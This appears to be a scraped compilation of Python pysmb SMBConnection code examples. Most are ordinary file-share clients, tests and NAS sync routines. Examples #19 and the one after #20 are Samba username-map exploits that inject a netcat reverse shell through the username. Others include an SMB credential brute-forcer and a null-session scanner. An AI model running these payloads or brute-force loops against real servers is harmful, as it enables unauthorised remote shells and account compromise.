class SmbClient(object):
        def __init__(self,ip,username,password,sharename):
                self.ip = ip
                self.username = username
                self.password = password
                self.sharename = sharename
        def connect(self):
                self.server = SMBConnection(self.username,
                                self.password,client,netbios_name,use_ntlm_v2=True)
                self.server.connect(self.ip,139)
        def upload(self,file):
                data = open(file,'rb')
                file = '/' + file
                self.server.storeFile(self.sharename,file,data)
                print "file has been uploaded"
        def download(self,file):
                fileobj = open(file,'wb')
                self.server.retrieveFile(self.sharename,fileobj)
                print "file has been downloaded in current dir"

        def delete(self,file):
                'remove file from remote share'
                file = '/' + file
                self.server.deleteFiles(self.sharename,file)

        def list(self):
                ' list files of remote share '
                filelist = self.server.listPath(self.sharename,'/')
                for f in filelist:
                        print f.filename
Example #2
0
def enumerateShareName(ip,shareName):
	print "Attempting to access: //"+ip+"/"+shareName
	try:
		conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True) 
		conn.connect(ip, 445) 
	except:
		print "Failed to Connect"
		pass
	filelist = conn.listPath(shareName, "") 
	for y in filelist:
		if y.isDirectory:
			if y.filename!="." and y.filename!="..":
				found=False
				for z in ignoreList:
					if z in str(y.filename).lower():
						found=True
				if found==False:
					addDirList.append([ip,shareName,"\\"+y.filename])
					getShares(ip,shareName,"\\"+y.filename)
		else:
			shareName1=shareName.replace("//","/")
			fullPath = ip+"/"+shareName1+"/"+y.filename
			fullPath = fullPath.replace("///","/")
			fullPath = fullPath.replace("//","/")
			fullPath = "//"+fullPath
			print fullPath
			allFilesList.append([ip,shareName1,fullPath])
			for format in formatList:
				if format in str(y.filename).lower():
					docList.append(["docs",ip,fullPath])
			fileMatch(ip,fullPath)
Example #3
0
def getShares(ip,shareName,folderPath):
	conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True)        
	conn.connect(ip, 445)
	filelist = conn.listPath(shareName, folderPath)
	for y in filelist:
		if y.isDirectory:
			if y.filename!="." and y.filename!="..":
				found=False
				for z in ignoreList:
					if z in str(y.filename).lower():
						found=True
				if found==False:
					getShares(ip,shareName,"\\"+folderPath+"\\"+y.filename)
		else:
			folderPath1=folderPath.replace("\\","/")
			folderPath1=folderPath1.replace("//","/")
			shareName1=shareName.replace("//","/")
			fullPath = ip+"/"+shareName1+folderPath1+"/"+y.filename
			fullPath = fullPath.replace("///","/")
			fullPath = fullPath.replace("//","/")
			fullPath = "//"+fullPath
			print fullPath
			allFilesList.append([ip,shareName1,fullPath])

			for format in formatList:
				if format in str(y.filename).lower():
					docList.append(["docs",ip,fullPath])
			fileMatch(ip,fullPath)
Example #4
0
    def authenticate(self):

        from smb.SMBConnection import SMBConnection

        # There will be some mechanism to capture userID, password, client_machine_name, server_name and server_ip
        # client_machine_name can be an arbitary ASCII string
        # server_name should match the remote machine name, or else the connection will be rejected

        #userID = 'xatportantier'
        userID = 'guest'
        #password = '******'
        password = ''
        client_machine_name = 'fmp'
        server_ip = '192.1.3.120'
        server_name = 'Server72'
        server_name = ''

        from nmb.NetBIOS import NetBIOS

        nb = NetBIOS(broadcast=True, listen_port=0)
        #print('ip', nb.queryName(server_name, port=445))
        #print('name', nb.queryIPForName(server_ip))


        conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2=True, is_direct_tcp=False)
        from pprint import pprint
        for a in [ 'capabilities', 'domain', 'host_type', 'log', 'my_name', 'remote_name', 'security_mode', 'uid', 'username' ]:
            print(a, getattr(conn, a))
        #print('cap', conn.capabilities)
        #print('domain', conn.domain)

        print('auth', conn.connect(server_ip, 139))
Example #5
0
def setup_func_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True

    info = getConnectionInfo()
    conn = SMBConnection(info["user"], info["password"], info["client_name"], info["server_name"], use_ntlm_v2=True)
    assert conn.connect(info["server_ip"], info["server_port"])
Example #6
0
def return_sampleIDs():
	sampleIDs = []
	query = request.form['query']
	mainLibraryFolder = request.form['mainLibraryFolder']
	try:
		conn = SMBConnection(username, password, myRequestIdentifier, serverName, domain=domain, use_ntlm_v2 = True)
		conn.connect(host, port)

		sampleSheetCSV = tempfile.NamedTemporaryFile()
		pathTo = 'MiSeqOutput/'+mainLibraryFolder+'/SampleSheet.csv'
		sampleSheetCSV_attributes, sampleSheetCSV_size = conn.retrieveFile(sharedFolder, pathTo, sampleSheetCSV)

		sampleSheetCSV.seek(0)

		fileContents = sampleSheetCSV.read()
		uniqueLines = fileContents.replace("\r\n", '\n').replace("\r", '\n').split("\n")

		counter = 0
		for line in uniqueLines:
			#sampleIDs.append(idtext(line, line))
			if (line.startswith("[Data]") or counter==1):
				counter+=1
				continue
			#Two lines after [Data] line, first sampleIDs is encountered
			if (counter==2):
				sampleID = line[:line.find(",")]
				if (query.lower() in sampleID.lower()) and not sampleID=="": #Not blank line
					sampleIDs.append(idtext(sampleID, sampleID))
	except Exception as ex:
		exc_type, exc_obj, exc_tb = sys.exc_info()
		fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
		return jsonify(result=(exc_type, fname, exc_tb.tb_lineno))
	return jsonify(result=[e.serialize() for e in sampleIDs])
Example #7
0
def smb_connect(args):
	ip = args.ip
	port = args.port
	username = args.username
	password = args.password
	domain = args.domain
	timeout = args.timeout
	verbose = args.verbose

	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False

	# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
	conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
	smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
	if smb_authentication_successful:
		print "authentication successful"
		return conn
	else:
		print "authentication failed"
		return None
    def verify_user(username, password):
        verified_username_and_password = False
        msg_to_web = None 

        conn = None
        
        try:
            if is_username_correct(username):
                conn = SMBConnection(
                    username, password, 'gsmbpasswd-server', SMB_SERVER, use_ntlm_v2 = True)
                verified_username_and_password = conn.connect(SMB_SERVER, 445)
            else:
                verified_username_and_password = False
                log_to_file(u"WARNING: Someone entered a non-existent username: %s" % username)
 
        except:
            # Re-raise the same exception that was thrown and let
            # the calling function handle the exception.
            raise
       
        finally:
            if not conn == None:
                conn.close # Always close the connection

        return verified_username_and_password, msg_to_web
    def transfer(self, uid, old_code, new_code):
        """ Sync a child transfer with GP: rename pictures and log a note. """
        # Retrieve configuration
        smb_user = config.get('smb_user')
        smb_pass = config.get('smb_pwd')
        smb_ip = config.get('smb_ip')
        smb_port = int(config.get('smb_port', 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            return False

        # Rename files in shared folder
        smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas')
        if smb_conn.connect(smb_ip, smb_port):
            gp_old_pic_path = "{0}{1}/".format(config.get('gp_pictures'),
                                               old_code[:2])
            gp_new_pic_path = "{0}{1}/".format(config.get('gp_pictures'),
                                               new_code[:2])
            pic_files = smb_conn.listPath('GP', gp_old_pic_path)
            for file in pic_files:
                filename = file.filename
                if filename.startswith(old_code):
                    new_name = filename.replace(old_code, new_code)
                    smb_conn.rename('GP', gp_old_pic_path + filename,
                                    gp_new_pic_path + new_name)

        # Rename child code in GP tables
        self.query("UPDATE ENFANTS SET CODE = %s WHERE CODE = %s",
                   [new_code, old_code])
        self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s",
                   [new_code, old_code])
        self.query("UPDATE Affectat SET CODESPE = %s WHERE CODESPE = %s",
                   [new_code, old_code])
        return True
Example #10
0
def get_connection(location):
    """
    Get a SMB connnection using the location and verify the remote
    location.

    Get the formatted location name, otherwise throw a
    RemoteNameException. Create the SMB connection, otherwise throw a
    SMBConnectionException.
    """
    location_name = smb_share_format.format(location.server_ip,
                                            location.share_name,
                                            location.path)
    netbios = NetBIOS()
    remote_name = netbios.queryIPForName(location.server_ip)
    if not remote_name:
        raise RemoteNameException("Unable to get remote name for {0}!".
                                  format(location.server_ip))
    if not location.username:
        location.username=""
    if not location.password:
        location.password=""
    connection = SMBConnection(location.username, location.password, 'ONYX',
        remote_name[0])
    if not connection.connect(location.server_ip):
        riemann.send({"host": config.HOST,
                      "service": "shareutil.get_connection",
                      "state": "start"})
        raise SMBConnectionException("Unable to connect to {0}".
                                     format(location_name))
    return connection
Example #11
0
def connect(server_name, user, password, domain='', use_ntlm_v2=True):
    logger.info("[lib.samba.py] connect")

    from smb.SMBConnection import SMBConnection
    import socket

    from smb import smb_structs
    smb_structs.SUPPORT_SMB2 = False

    if user == 'quest' or user == 'anonnimo' or user == 'invitado' or user == 'anonimo' or user == '' or user is None:
        user = '******'
        password = ''

    logger.info("[lib.samba.py] Averigua IP...")
    server_ip = socket.gethostbyname(server_name)
    logger.info("[lib.samba.py] server_ip=" + server_ip)

    logger.info("[lib.samba.py] Crea smb...")
    try:
        remote = SMBConnection(user, password, domain, server_name, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)
    except:
        remote = SMBConnection(user, password, domain, server_ip, use_ntlm_v2=use_ntlm_v2)
        conn = remote.connect(server_ip, 139)

    logger.info("[lib.samba.py] Conexión realizada con éxito")

    return remote
    def transfer(self, uid, old_code, new_code):
        """ Sync a child transfer with GP: rename pictures and log a note. """
        # Retrieve configuration
        smb_user = config.get("smb_user")
        smb_pass = config.get("smb_pwd")
        smb_ip = config.get("smb_ip")
        smb_port = int(config.get("smb_port", 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            return False

        # Rename files in shared folder
        smb_conn = SMBConnection(smb_user, smb_pass, "openerp", "nas")
        if smb_conn.connect(smb_ip, smb_port):
            gp_old_pic_path = "{0}{1}/".format(config.get("gp_pictures"), old_code[:2])
            gp_new_pic_path = "{0}{1}/".format(config.get("gp_pictures"), new_code[:2])
            pic_files = smb_conn.listPath("GP", gp_old_pic_path)
            for file in pic_files:
                filename = file.filename
                if filename.startswith(old_code):
                    new_name = filename.replace(old_code, new_code)
                    smb_conn.rename("GP", gp_old_pic_path + filename, gp_new_pic_path + new_name)

        # Rename child code in Poles table
        self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s", [old_code, new_code])
        return True
Example #13
0
def run_brute_force(username, password, args):
	ip = args.ip
	port = args.port
	domain = args.domain
	list_shares = args.list_shares
	timeout = args.timeout
	verbose = args.verbose

	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False

	try:
		# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
		conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
		smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
		if smb_authentication_successful:
			print "success: [%s:%s]" % (username, password)
			if list_shares:
				list_smb_shares(conn, timeout)
		else:
			if verbose:
				print "failed: [%s:%s]" % (username, password)
	except:
		if verbose:
			e = sys.exc_info()
			print "%s" % str(e)
	finally:
		if conn:
			conn.close()
Example #14
0
def setup_func_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True
    smb_structs.SUPPORT_SMB2x = False
    info = getConnectionInfo()
    conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2 = True, is_direct_tcp = True)
    assert conn.connect(info['server_ip'], info['server_port'])
    def _transfer_file_on_nas(self, file_name):
        """
        Puts the letter file on the NAS folder for the translation platform.
        :return: None
        """
        self.ensure_one()
        # Retrieve configuration
        smb_user = config.get('smb_user')
        smb_pass = config.get('smb_pwd')
        smb_ip = config.get('smb_ip')
        smb_port = int(config.get('smb_port', 0))
        if not (smb_user and smb_pass and smb_ip and smb_port):
            raise Exception('No config SMB in file .conf')

        # Copy file in the imported letter folder
        smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas')
        if smb_conn.connect(smb_ip, smb_port):
            file_ = BytesIO(base64.b64decode(
                self.letter_image.with_context(
                    bin_size=False).datas))
            nas_share_name = self.env.ref(
                'sbc_translation.nas_share_name').value

            nas_letters_store_path = self.env.ref(
                'sbc_translation.nas_letters_store_path').value + file_name
            smb_conn.storeFile(nas_share_name,
                               nas_letters_store_path, file_)

            logger.info('File {} store on NAS with success'
                        .format(self.letter_image.name))
        else:
            raise Warning(_('Connection to NAS failed'))
Example #16
0
def smb_scan(ip, port, list_shares, timeout, verbose):
	# empty username and password for null session
	username = ""
	password = ""
	client_name = "client"
	server_name = ip
	if port == 445:
		is_direct_tcp = True
	else:
		is_direct_tcp = False
	try:
		# def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
		conn = SMBConnection(username, password, client_name, server_name, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp)
		smb_authentication_successful = conn.connect(ip, port, timeout = timeout)
		if smb_authentication_successful:
			print "SMB active [null session enabled]: %s:%s" % (ip, port)
			if list_shares:
				list_smb_shares(conn, timeout)
		else:
			# on Windows 7 authentication fails due to disabled null sessions
			print "SMB active [null session disabled]: %s:%s" % (ip, port)
	except:
		if verbose:
			e = sys.exc_info()
			print "%s" % str(e)
	finally:
		if conn:
			conn.close()
Example #17
0
 def connect(self):
     conn = SMBConnection(self.user_id,
                          self.password,
                          self.server_ip,
                          self.server_name,
                          use_ntlm_v2=True)
     conn.connect(self.server_ip, 139)
     return conn
Example #18
0
 def __init__(self, host, username, password, remote_name, local_name=None):
     local_name = local_name if local_name else ''
     self.conn = SMBConnection(username,
                               password,
                               local_name,
                               remote_name,
                               is_direct_tcp=True)
     self.conn.connect(host, 445)
Example #19
0
File: Lame.py Project: i0bax/HTB
def SMB_exploit(rhost, rport, lhost, lport):
		payload = 'mkfifo /tmp/p; nc ' + lhost + ' ' + lport + ' 0</tmp/p | /bin/sh >/tmp/p 2>&1; rm /tmp/p'
		username = "******" + payload + "`"
		conn = SMBConnection(username, "", "", "")
		try:
			conn.connect(rhost, int(rport), timeout=1)
		except:
			log.success("Payload was sent!")
Example #20
0
 def connlist(self):
     obj = SMBConnection(self.userID, self.password, self.server_name, self.server_name, use_ntlm_v2 = True, is_direct_tcp = True)
     obj.connect(self.server_ip, 445)
     resp = obj.listShares()
     shares = []
     for share in range(len(resp)):
         shares.append(resp[share].name)
     return obj, shares
def exploit(rhost, rport, lhost, lport):
    payload = "mkfifo /tmp/hago; nc " + lhost + " " + lport + " 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago"
    username = "******" + payload + "`"
    conn = SMBConnection(username, "", "", "")
    try:
        conn.connect(rhost, int(rport), timeout=1)
    except:
        print('[+] Payload was sent - check netcat !')
Example #22
0
def connect():
    user = '******'
    pw = os.environ.get('DISC_PASSWORD') or get_cred('ECN_PW') or getpass(
        'disc password: '******'login', 'templeton.ecn.purdue.edu/disc')

    connected = conn.connect('128.46.104.13')
    return conn
Example #23
0
def setup_func_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True
    smb_structs.SUPPORT_SMB2x = False

    info = getConnectionInfo()
    conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2 = True)
    assert conn.connect(info['server_ip'], info['server_port'])
Example #24
0
 def connect_to_smb(self):
     self.conn = SMBConnection(username=smb_info[5],
                               password=smb_info[6],
                               my_name='RASPIX',
                               remote_name=smb_info[2],
                               use_ntlm_v2=True)
     assert self.conn.connect(ip=smb_info[0],
                              port=int(smb_info[1]))
Example #25
0
 def __init__(self, username: str, password: str, ip: str, port: int = 139):
     self.username = username
     self.password = password
     self.ip = ip
     self.port = port
     self.samba = SMBConnection(self.username, self.password, '', '', use_ntlm_v2=True)
     self.samba.connect(self.ip, self.port)
     self.status = self.samba.auth_result
Example #26
0
def connect(username, password, my_name, remote_name, remote_ip):
  smb_structs.SUPPORT_SMB2 = True
  conn = SMBConnection(username, password, my_name, remote_name, use_ntlm_v2 = True)
  try:
    conn.connect(remote_ip, 445) #139=NetBIOS / 445=TCP
  except Exception as e:
    print(e)
  return conn
Example #27
0
 def __init__(self, smb_ip, smb_port, user_name, user_pwd):
     self.smb_ip = smb_ip
     self.smb_port = smb_port
     self.user_name = user_name
     self.user_pwd = user_pwd
     self.my_name = MY_NAME
     self.remote_name = REMOTE_SMB_NAME
     self.conn = SMBConnection(self.user_name, self.user_pwd, self.my_name, self.remote_name, use_ntlm_v2=True)
	def run(self):
		try:
			conn = SMBConnection(MiSeqServerData.username, MiSeqServerData.password, MiSeqServerData.myRequestIdentifier, MiSeqServerData.serverName, domain=MiSeqServerData.domain, use_ntlm_v2 = True)
			conn.connect(MiSeqServerData.host, MiSeqServerData.port)

			#Get files names of fastq.gz files that correspond to subLibraryID (e.g. one if single, two if paired-end read) 
			print("Reading fastq.gz file for "+self.subLibraryID)
			fastqFiles = []
			try:
				sharedFileObjs = conn.listPath(MiSeqServerData.sharedFolder, '/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls')
				for a in sharedFileObjs:
					#If fastq.gz file...
					if (a.filename.endswith("fastq.gz")):
						#And correct sample ID
						if (a.filename.startswith(self.subLibraryID) or a.filename.startswith(self.subLibraryID.replace("_", "-"))): #For some reason, MiSeq sampleSheet.csv will escape hyphens
							fastqFiles.append(a.filename)
							#Now fetch and write fastq.gz files to local machine
							director = urllib.request.build_opener(SMBHandler)
							fh = director.open('smb://'+MiSeqServerData.username+':'+MiSeqServerData.password+'@secret.jbei.org/miseq/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls/'+a.filename).read()
							f = open(self.outputFolder+"/"+a.filename, 'wb')
							f.write(fh)
							f.close()
			except SMBTimeout:
				print("SMB server timed out")
				return
			except NotReadyError:
				print("Authentication with SMB server failed")
				return
			except NotConnectedError:
				print("Disconnected from SMB server")
				return
			except Exception as ex:
				print("Error retrieving fastq.gz files "+str(ex))
				return

			print("Writing metadata for "+self.subLibraryID)
			for filename in fastqFiles:
				#Get metadata for project's pre.libraries.info file
				proposalID = self.subLibraryID
				libraryName = "libName"
				genus = "genus"
				species = "species"
				strain = "strain"
				metaData = [proposalID, libraryName, self.outputFolder+"/"+filename, genus, species, strain]
				#Save metadata to be later printed to libraries.info file
				self.metadata += ("\t").join(metaData)+"\n";
		except SMBTimeout:
			print("SMB server timed out")
			return
		except NotReadyError:
			print("Authentication with SMB server failed")
			return
		except NotConnectedError:
			print("Disconnected from SMB server")
			return
		except Exception as ex:
			print("Error retrieving libraries from SMB server "+str(ex))	
			return
Example #29
0
def setup_func():
    global conn
    info = getConnectionInfo()
    conn = SMBConnection(info['user'],
                         info['password'],
                         info['client_name'],
                         info['server_name'],
                         use_ntlm_v2=True)
    assert conn.connect(info['server_ip'], info['server_port'])
Example #30
0
def test_smb(host, password):
    print("Testing SMB")
    try:
        conn = SMBConnection("smbtemp", password, "test", "INTCORP1")
        conn.connect(host, 445)
        files = conn.listPath('Shared', '/')
        print("test_smb Success")
    except Exception as e:
        pass
Example #31
0
def delete_file(conn: SMBConnection, service_name: str,
                path_file_pattern: str):
    _file_abs_path = f"{service_name}/{path_file_pattern}"
    try:
        conn.deleteFiles(service_name, path_file_pattern)
    except Exception as e:
        logger.warning(f"删除文件失败,文件不存在:{_file_abs_path}")
    else:
        logger.info(f"删除文件成功:{_file_abs_path}")
def opensmbconn():
    conn = SMBConnection(smbusername,
                         smbpassword,
                         'appanalyzer',
                         smbclientname,
                         domain=smbdomain,
                         use_ntlm_v2=True)
    assert conn.connect(smbclientname + '.' + smbdomain)
    return conn
Example #33
0
    def _connect_repo_file_system(repo, photo_name):
        """
            Get connection for repo
        
        :param repo: PhotoRepository
        :param photo_name: name of photo to search
        :return data_info: Dict 
        """

        data_info = {'path': '', 'url': '', 'type': '', 'success': False}

        conn = SMBConnection(username=repo.user_id.encode('ascii'),
                             password=repo.password.encode('ascii'),
                             my_name=repo.client_machine_name.encode('ascii'),
                             remote_name=repo.server_name.encode('ascii'),
                             domain=repo.domain.encode('ascii'),
                             use_ntlm_v2=True)

        try:
            if conn.connect(ip=repo.server_ip, port=139):
                try:
                    file_obj = tempfile.NamedTemporaryFile()
                    file_attributes, file_size = conn.retrieveFile(
                        repo.service_name,
                        '{0}{1}'.format(repo.path, photo_name), file_obj)

                    if file_attributes:

                        path = '{0}{1}{2}'.format(settings.MEDIA_ROOT,
                                                  '/photographs/', photo_name)

                        shutil.copy(file_obj.name, path)
                        '''
                            set permissions
                        '''
                        os.chmod(path, 0660)

                        data_info['path'] = path
                        data_info['url'] = '{0}{1}{2}{3}'.format(
                            settings.VALID_HOST, settings.MEDIA_URL,
                            'photographs/', photo_name)
                        data_info['type'] = path.split('.')[-1]
                        data_info['success'] = True

                        return data_info

                    file_obj.close()
                    conn.close()
                except Exception as e:
                    print e
                    print "Operacion fallida"
                    conn.close()
        except Exception as e:
            print e
            conn.close()

        return data_info
def connect(url):
    #logger.info("Url: %s" % url)
    global remote
    server_name, server_ip, share_name, path, user, password, domain = parse_url(url)
    if not remote or not remote.sock or not server_name == remote.remote_name:
      remote = SMBConnection(user, password, domain, server_name)
      remote.connect(server_ip, 139)
  
    return remote, share_name, path
Example #35
0
File: libsmb.py Project: w1s0/addon
def connect(url):
    # logger.info("Url: %s" % url)
    global remote
    server_name, server_ip, share_name, path, user, password, domain = parse_url(url)
    if not remote or not remote.sock or not server_name == remote.remote_name:
        remote = SMBConnection(user, password, domain, server_name)
        remote.connect(server_ip, 139)

    return remote, share_name, path
Example #36
0
def connectSmb():
    try:
        global smbconn
        global smbstatue
        smbconn = SMBConnection(username, password, 'xu-All-Series','WIN-FILE1',"jlinksz.com", use_ntlm_v2=True)
        smbstatue = smbconn.connect("192.168.8.206", 139)
    except Exception as e:
        print(e)
        smbconn.close()
Example #37
0
def linksmb(suser, spass, lcn, rcn, rip):
    conn = SMBConnection(suser,
                         spass,
                         lcn,
                         rcn,
                         use_ntlm_v2=True,
                         is_direct_tcp=True)
    conn.connect(rip, 445)
    return conn
 def __init__(self,
              server_ip="localhost",
              server_port=445,
              server_name="",
              server_domain="WORKGROUP",
              client_login="******",
              client_password="******",
              server_share="/",
              client_name=socket.gethostname(),
              ntlm_v2=True,
              direct_tcp=True):
     logger.warning("Establishing connexion to SMB server " + client_login +
                    "@" + server_ip + ":" + str(server_port) + "/" +
                    server_share + " in domain " + server_domain + "...")
     errorMsg = "An error has occured during Samba connection. Script aborting..."
     errorMsg1 = "An error has occured while listing samba shares. Script aborting..."
     errorMsg2 = "The following share doesn't exist on the remote Samba server : " + server_share + "!"
     try:
         session = SMBConnection(client_login,
                                 client_password,
                                 client_name,
                                 server_name,
                                 domain=server_domain,
                                 use_ntlm_v2=ntlm_v2,
                                 is_direct_tcp=direct_tcp)
         assert session.connect(server_ip, server_port)
     except Exception as e:
         logger.error(e)
         logger.error(errorMsg)
         raise NameError(errorMsg)
     try:
         shares = session.listShares()
     except Exception as e:
         logger.error(e)
         logger.error(errorMsg1)
         raise NameError(errorMsg1)
     flagShareFound = False
     for share in shares:
         if server_share == share.name:
             flagShareFound = True
             break
     if flagShareFound == False:
         logger.error(errorMsg2)
         raise NameError(errorMsg2)
     self.server_ip = server_ip
     self.server_port = server_port
     self.server_name = server_name
     self.server_domain = server_domain
     self.client_login = client_login
     self.client_password = client_password
     self.server_share = server_share
     self.client_name = client_name
     self.ntlm_v2 = ntlm_v2
     self.direct_tcp = direct_tcp
     self.session = session
     logger.info("SMB connection OK!")
Example #39
0
 def _connToServer(self):
     try:
         #print 'id:', self._uid
         # print 'servername', self._serverName
         self._conn = SMBConnection(self._uid, self._upwd, '',
                                    self._serverName)  #use_ntlm_v2 = True
         if not self._conn.connect(self._serverName):  #port = 139
             raise Exception('connect failure:', self._serverName)
     except Exception as e:
         print str(e)
Example #40
0
 def make_smb_connection(username, password, request_identifier,
                         server_name, domain, host, port):
     conn = SMBConnection(username,
                          password,
                          request_identifier,
                          server_name,
                          domain=domain,
                          use_ntlm_v2=True)
     conn.connect(host, port)
     return conn
Example #41
0
 def _smb_connection(self, server):
     import path
     ip = socket.gethostbyname(server)
     hostname = server.split('.', 1)[0]
     log.debug("_smb_connection: %s %s %s", repr(hostname),
               repr(self.domain), repr(ip))
     con = SMBConnection(path.SMB_USER, path.SMB_PASS, 'client', hostname,
                         self.domain)
     con.connect(ip, timeout=30)
     return con
Example #42
0
def test_NTLMv2_auth_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = True
    info = getConnectionInfo()
    conn = SMBConnection(info['user'],
                         info['password'],
                         info['client_name'],
                         info['server_name'],
                         use_ntlm_v2=True)
    assert conn.connect(info['server_ip'], info['server_port'])
Example #43
0
 def _get_connection(self):
     localname = socket.gethostname()
     remotename = 'agustin'
     conn = SMBConnection(self.username, self.password,
                          localname, remotename)
     self.debug('get connection {}'.format(self.host))
     if conn.connect(self.host):
         return conn
     else:
         print('failed to connect')
def notify_smb(isn, timestamp, msg):
	server_name = ""
	client_machine_name = "Onegin"
	server_ip = "172.18.212.211"
	userID = "szsfis"
	password = "******"
	conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2 = True)
	assert conn.connect(server_ip, 139)
	filename = "%s_%s.csv" % (isn, timestamp)
	conn.storeFile("sz_sfis_event_log", filename, StringIO.StringIO(msg))
Example #45
0
 def conn(self):
     """ Connection to server. """
     if self._conn is None:
         self._conn = SMBConnection(self.username,
                                    self.password,
                                    self.client_name,
                                    self.server_name,
                                    use_ntlm_v2=True)
         self._conn.connect(self.server_IP, self.port)
     return self._conn
Example #46
0
def connect(server_addr, username, password):
    smb_structs.SUPPORT_SMB2 = True
    remote_name = "smbserver"
    conn = SMBConnection(username, password, username, remote_name, use_ntlm_v2 = True)
    try:
        conn.connect(server_addr, 445) #139=NetBIOS / 445=TCP
    except Exception as e:
        print(e)

    return conn
Example #47
0
 def Connect(self):
     try:
         self.conn = SMBConnection(self.username, self.password,
                                   self.client, self.server,
                                   use_ntlm_v2=True, domain=self.domain)
         self.connected = self.conn.connect(self.server_ip, self.port)
         return self.connected
     except Exception as e:
         self.logger.LogMessage('error', str(e))
         return None
Example #48
0
def SMB(username, password, targetip, port, timeout):
    from smb.SMBConnection import SMBConnection
    try:
        system_name="server"
        conn = SMBConnection(username,password,"Norma-Atear",targetip,use_ntlm_v2=True,
                            sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                            is_direct_tcp=True)
        connected = conn.connect(targetip,port)
    except:
        print('### can not access the system')
Example #49
0
def test_NTLMv1_auth_SMB2():
    global conn
    smb_structs.SUPPORT_SMB2 = smb_structs.SUPPORT_SMB2x = True
    info = getConnectionInfo()
    conn = SMBConnection(info['user'],
                         info['password'],
                         info['client_name'],
                         info['server_name'],
                         domain=info['domain'],
                         use_ntlm_v2=False)
    assert conn.connect(info['server_ip'], info['server_port'])

    conn2 = SMBConnection(info['user'],
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=False)
    assert not conn2.connect(info['server_ip'], info['server_port'])

    conn3 = SMBConnection('INVALIDUSER',
                          'wrongPass',
                          info['client_name'],
                          info['server_name'],
                          use_ntlm_v2=False)
    assert not conn3.connect(info['server_ip'], info['server_port'])
Example #50
0
def uploadCmdrWatch(barcodeFile, dataType, data, config):
    try:
        localslug = re.sub('[^\w-]+', '_', barcodeFile).strip().lower()
        barcodeFh = codecs.open('/tmp/%s' % localslug, 'w', 'utf-8-sig')
        csvlogfh = csv.writer(barcodeFh, delimiter=",", quoting=csv.QUOTE_ALL)
        if dataType == 'locationLabels':
            csvlogfh.writerow('termdisplayname'.split(','))
            for d in data:
                csvlogfh.writerow((d[0],))  # writerow needs a tuple or array
        elif dataType == 'objectLabels':
            csvlogfh.writerow(
                'MuseumNumber,ObjectName,PieceCount,FieldCollectionPlace,AssociatedCulture,EthnographicFileCode'.split(
                    ','))
            for d in data:
                csvlogfh.writerow(d[3:9])
        barcodeFh.close()
    except:
        # raise
        barcodeFile = '<span style="color:red;">could not write to /tmp/%s</span>' % localslug
        return barcodeFile

    try:

        # OK, now we have the file object with the data in it. write it to the
        # commanderWatch server via SMB

        domain = config.get('files', 'domain')
        userID = config.get('files', 'userID')
        password = config.get('files', 'password')
        client_name = config.get('files', 'client_name')
        server_ip = config.get('files', 'server_ip')
        service_name = config.get('files', 'service_name')

        # client_machine_name can be an arbitary ASCII string
        # server_name should match the remote machine name, or else the connection will be rejected
        #
        # SMBConnection(username, password, my_name, remote_name, domain='')
        conn = SMBConnection(userID, password, client_name, service_name, domain, is_direct_tcp=True)
        assert conn.connect(server_ip, 445)

        # storeFile(service_name, path, file_obj, timeout=30)
        # service_name - the name of the shared folder for the path

        barcodeFh = open('/tmp/%s' % localslug, 'rb')
        bytes = conn.storeFile(service_name, barcodeFile, barcodeFh)

        barcodeFh.close()
        os.unlink('/tmp/%s' % localslug)
        return barcodeFile
    except:
        # raise
        os.unlink('/tmp/%s' % localslug)
        barcodeFile = '<span style="color:red;">could not transmit %s to commanderWatch</span>' % barcodeFile
        return barcodeFile
Example #51
0
 def performSMBConnection(self, host='127.0.0.1', port=139, user="", passwd=""):
     client_name =socket.gethostname()
     smbClient = SMBConnection(user, passwd, client_name, "")
     if smbClient.connect(host, port):
         print "[+] SMB Connection Success ... "
         print "[+] Listing the Shared resources"
         for share in smbClient.listShares():
             print "[*][*] Resource name: %s " %(share.name)
         return True
     else:
         return False
Example #52
0
 def connectTest(self, config, userID, password, server_name, proxy):
     if not config["domain"]:
         print("[-]  ERROR: You must supply a domain/workgroup with --domain")
     else:
